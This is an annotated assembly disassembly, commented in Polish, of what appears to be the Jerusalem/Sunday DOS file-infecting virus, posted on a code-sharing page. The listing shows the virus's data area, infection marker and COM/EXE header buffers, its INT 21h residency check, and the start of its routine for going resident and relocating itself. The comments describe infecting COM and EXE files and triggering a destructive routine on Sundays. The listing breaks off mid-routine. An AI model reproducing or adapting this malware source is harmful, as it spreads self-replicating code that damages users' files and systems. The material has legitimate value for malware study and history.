📄 j_sundyb.asm
字号:
; COM - na poczatku
; EXE - na koncu
; rozpoznaje wg nazwy (co nie COM = EXE)
;-------
; aktywacja w niedziele roku roznego od 1989
; procedury niszczacej
;-------
; doniesienia co 30 minut
; ale nigdy nie wlaczone
;-------
; Nie zaraza COMMAND.COM'a
;-------
LF EQU 0AH
CR EQU 0DH
;INITIAL VALUES : CS:IP 0918:00C4
; SS:SP 0918:065D
;----------------
; <- tutaj cialo programu
;----------------
S9180 SEGMENT STACK
ASSUME DS:S9180, SS:S9180 ,CS:S9180 ,ES:S9180
L9180: jmp L0095 ;L9215 ;9180 E9 92 00
db 73h,55h ;'sU' ;9183 73 55
;<- wzorzec sygnatury zarazenia
L0005 DB 0C8H,0F7h,0E1h,0EEh,0E7h ;9185 C8 F7 E1 EE E7
L000A dw 100h ;IP nosiciela COM ;918A 00 01
L000C dw 1905h ;CS nosiciela COM ;918C 05 19
L000E db 0 ;ptr aktywnosci wirusa ;918E 00
L000F dw 0 ;918F 00 00
L0011 dw 9374h ;dlugosc programu oryginalna ;9191 74 93
L0013 dw 0FEA5h ;old int 8 ;9193 A5
L0015 dw 0F000h ;9195 00
L0017 dw 1460h ;old int 21h ;9197 60 14
L0019 dw 025Bh ;9199 5B 02
L001B dw 0556h ;old int 24h ;919B 56 05
L001D dw 0BA6h ;919D A6 0B
L001F dw 32400 ;30 minut zwloki ;919F 90 7E
dw 0 ;91A1 00 00
dw 0 ;91A3 00 00
dw 0 ;91A5 00 00
dw 0 ;91A7 00 00
dw 0 ;91A9 00 00
dw 0 ;91AB 00 00
dw 0E800h ;91AD 00 E8
dw 5F06h ;91AF 06 5F
L0031 dw 0C89h ;adres bloku wirusa ;91B1 89 0C
L0033 dw 80h ;wielkosc bloku wirusa (para) ;91B3 80 00
;<----- Parameter Block
L0035 dw 0 ;Environment ;91B5 00 00
dw 80h ;<- command line ;91B7 80 00
L0039 dw 0C89h ; Segment ;91B9 89 0C
dw 5Ch ;<- FCB-1 ;91BB 5C 00
L003D dw 0C89h ; Segment ;91BD 89 0C
dw 6Ch ;<- FCB-2 ;91BF 6C 00
L0041 dw 0C89h ; Segment ;91C1 89 0C
L0043 dw 0800h ;SP nosiciela ;91C3 00 08
L0045 dw 0A58h ;rel segment stosu nosiciela ;91C5 58 0A
L0047 dw 3D73h ;IP nosiciela ;91C7 73 3D
L0049 dw 0 ;CS nosiciela (rel) ;91C9 00 00
;pierwsze 3 bajty wektora int ff
L004B dw 0F000h ;91CB 00 F0
L004D db 46h ;91CD 46
L004E db 1 ;0=COM, 1=EXE ;91CE 01
;<- bufor na poczatek zbioru
L004F db 'MZ' ;91CF 4D 5A
L0051 dw 01E4h ;last page bytes ;91D1 E4 01
L0053 dw 004Dh ;file size - pages ;91D3 4D 00
dw 0004h ;91D5 04 00
L0057 dw 0020h ;header size (para) ;91D7 20 00
dw 01C1h ;91D9 C1 01
dw 0FFFFh ;91DB FF FF
L005D dw 0918h ;SS ;91DD 18 09
L005F dw 065Dh ;SP ;91DF 5D 06
L0061 dw 1984h ;suma kontrolna ;91E1 84 19
L0063 dw 00C4h ;IP ;91E3 C4 00
L0065 dw 0918h ;CS ;91E5 18 09
dw 001Eh ;91E7 1E 00
dw 0000h ;91E9 00 00
;<- bufor na 5 ostatnich bajtow zbioru
L006B db 0Ah,0,0FFh,0FFh,0FFh ;91EB 0A 00 FF FF FF
L0070 dw 5 ;File handle ;91F0 05 00
L0072 dw 20h ;atrybut zarazanego zbioru ;91F2 20 00
L0074 dw 1031h ;91F4 31 10
L0076 dw 0A337h ;91F6 37 A3
L0078 dw 200h ;bytes/sector(page) ;91F8 00 02
L007A dw 10h ;bytes/paragraph ;91FA 10 00
L007C dw 9380h ;nowa dlugosc zbioru DWORD ;91FC 80 93
L007E dw 0 ;91FD 00 00
L0080 dw 41B9h ;path nazwy programu - offset ;9200 B9 41
L0082 dw 9B2Ah ; - segment ;9202 2A 9B
L0084 db 'COMMAND.COM' ;9294 43 4F 4D 4D 41 4E 44 2E 43 4F 4D
L008F dw 0,0,0 ;929F 00 00 00 00 00 00
;================================================
; <- Start wirusa zbiorow COM
;------------------------------------------------
L0095: CLD ;9215 FC
MOV AH,0FFH ;kontrola rezydowania ;9216 B4 FF
INT 21H ;9218 CD 21
CMP AH,0FFH ;921A 80 FC FF
JNB L9234 ;-> nie rezyduje ;921D 73 15
CMP AH,4 ;921F 80 FC 04
JB L9234 ;-> nie rezyduje ;9222 72 10
;<- wirus juz rezyduje
MOV AH,0DDH ;uruchom program ;9224 B4 DD
MOV DI,100h ;miejsce docelowe programu ;9226 BF 00 01
MOV SI,OFFSET L065F ;9229 BE 5F 06
ADD SI,DI ;miejsce aktualne programu ;922C 03 F7
MOV CX,CS:[DI+11H] ;dlugosc programu oryginalna ;922E 2E 8B 4D 11
INT 21H ;9232 CD 21
L9234: MOV AX,CS ;normalizacja segmentu ;9234 8C C8
ADD AX,10h ;9236 05 10 00
MOV SS,AX ;9239 8E D0
MOV SP,OFFSET L065D ;923B BC 5D 06
PUSH AX ;segment ;923E 50
MOV AX,OFFSET L00C4 ;=L9244 ;923F B8 C4 00
PUSH AX ;offset ;9242 50
RETF ;9243 CB
;================================================
; <- Start wirusa zbioru EXE
;------------------------------------------------
L00C4:
L9244: CLD ;9244 FC
PUSH ES ;<- PSP ;9245 06
MOV CS:L0031,ES ;9246 2E 8C 06 31 00
MOV CS:L0039,ES ;924B 2E 8C 06 39 00
MOV CS:L003D,ES ;9250 2E 8C 06 3D 00
MOV CS:L0041,ES ;9255 2E 8C 06 41 00
MOV AX,ES ;segment poczatku pgm ;925A 8C C0
ADD AX,10h ;925C 05 10 00
ADD CS:L0049,AX ;relokowanie CS ;925F 2E 01 06 49 00
ADD CS:L0045,AX ;relokowanie SS ;9264 2E 01 06 45 00
MOV AH,0FFH ;czy juz rezyduje ? ;9269 B4 FF
INT 21H ;926B CD 21
CMP AH,4 ;926D 80 FC 04
JNZ L9282 ;-> jeszcze nie ;9270 75 10
POP ES ;<- uruchomienie pgm ;9272 07
MOV SS,CS:L0045 ;inicjacja stosu ;9273 2E 8E 16 45 00
MOV SP,CS:L0043 ;9278 2E 8B 26 43 00
JMP DWORD PTR CS:L0047 ;uruchomienie nosiciela ;927D 2E FF 2E 47 00
;<- zarezydowanie
L9282: XOR AX,AX ;9282 33 C0
MOV ES,AX ;9284 8E C0
MOV BX,03FCh ;int 0ffh ;9286 BB FC 03
MOV AX,ES:[BX] ;9289 26 8B 07
MOV CS:L004B,AX ;928C 2E A3 4B 00
MOV AL,ES:[BX+2] ;9290 26 8A 47 02
MOV CS:L004D,AL ;9294 2E A2 4D 00
MOV WORD PTR ES:[BX],0A5F3h ;rep movsw ;9298 26 C7 07 F3 A5
MOV BYTE PTR ES:[BX+2],0CBH ;ret ;929D 26 C6 47 02 CB
POP AX ;92A2 58
ADD AX,10h ;92A3 05 10 00
MOV ES,AX ;92A6 8E C0
PUSH CS ;92A8 0E
POP DS ;92A9 1F
MOV CX,OFFSET L065F ;dl. wir. bez podpisu ;92AA B9 5F 06
SHR CX,1 ;na slowa ;92AD D1 E9
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -